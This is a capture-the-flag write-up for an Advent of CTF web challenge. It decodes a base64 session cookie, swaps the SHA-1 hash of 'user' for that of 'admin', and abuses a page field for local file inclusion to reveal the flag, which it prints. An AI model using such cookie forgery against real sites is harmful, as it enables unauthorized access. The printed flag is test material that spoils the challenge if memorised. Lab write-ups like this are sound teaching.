• Points: 1000

Description

When files are included things can get real messy. The flag is in flag.php.

Visit https://10.adventofctf.com to start the challenge.

Finding the vulnerability

When opening the website we get some text but it is not really useful. So let’s go to /flag.php because the description told us the flag is there.

When opening /flag.php we get a message “You are on the right page, but you cannot see what you want yet. Go get promoted!”. Hmm, let’s take a look at the cookies.

We find one cookie: zeroten=eyJwYWdlIjoibWFpbiIsInJvbGUiOiIxMmRlYTk2ZmVjMjA1OTM1NjZhYjc1NjkyYzk5NDk1OTY4MzNhZGM5In0%3D. this looks base64 encoded, so let’s try to decode it:

echo -n "eyJwYWdlIjoibWFpbiIsInJvbGUiOiIxMmRlYTk2ZmVjMjA1OTM1NjZhYjc1NjkyYzk5NDk1OTY4MzNhZGM5In0=" | base64 -d

{ "page": "main", "role": "12dea96fec20593566ab75692c9949596833adc9" }

We see that we have a page and a role. Let’s try to replace modify page to “flag”.

echo -n '{"page":"flag","role":"12dea96fec20593566ab75692c9949596833adc9"}' | base64 -w 0
> eyJwYWdlIjoiZmxhZyIsInJvbGUiOiIxMmRlYTk2ZmVjMjA1OTM1NjZhYjc1NjkyYzk5NDk1OTY4MzNhZGM5In0=

We changing the cookie to the new value we get.. nothing… After going back to the home page, we get the text of /flag.php so this is probably Local File Inclusion. Let’s take another look at the role. I don’t recognize the format so let’s try our friend Google.

It looks like it is the SHA-1 hash of “user”. We could try to replace the role with the SHA-1 hash of “admin”. We can use an online sha1 converter to do this. The output is d033e22ae348aeb5660fc2140aec35850c4da997. Now we base64 encode this and put it back into the cookie.

echo -n '{"page":"flag","role":"d033e22ae348aeb5660fc2140aec35850c4da997"}' | base64 -w 0
> eyJwYWdlIjoiZmxhZyIsInJvbGUiOiJkMDMzZTIyYWUzNDhhZWI1NjYwZmMyMTQwYWVjMzU4NTBjNGRhOTk3In0=

Solution

If we now reload the home page, we’re greeted with the flag: NOVI{LFI_1s_ask1ng_f0r_tr0bl3}.

This flag can then be submitted for the challenge.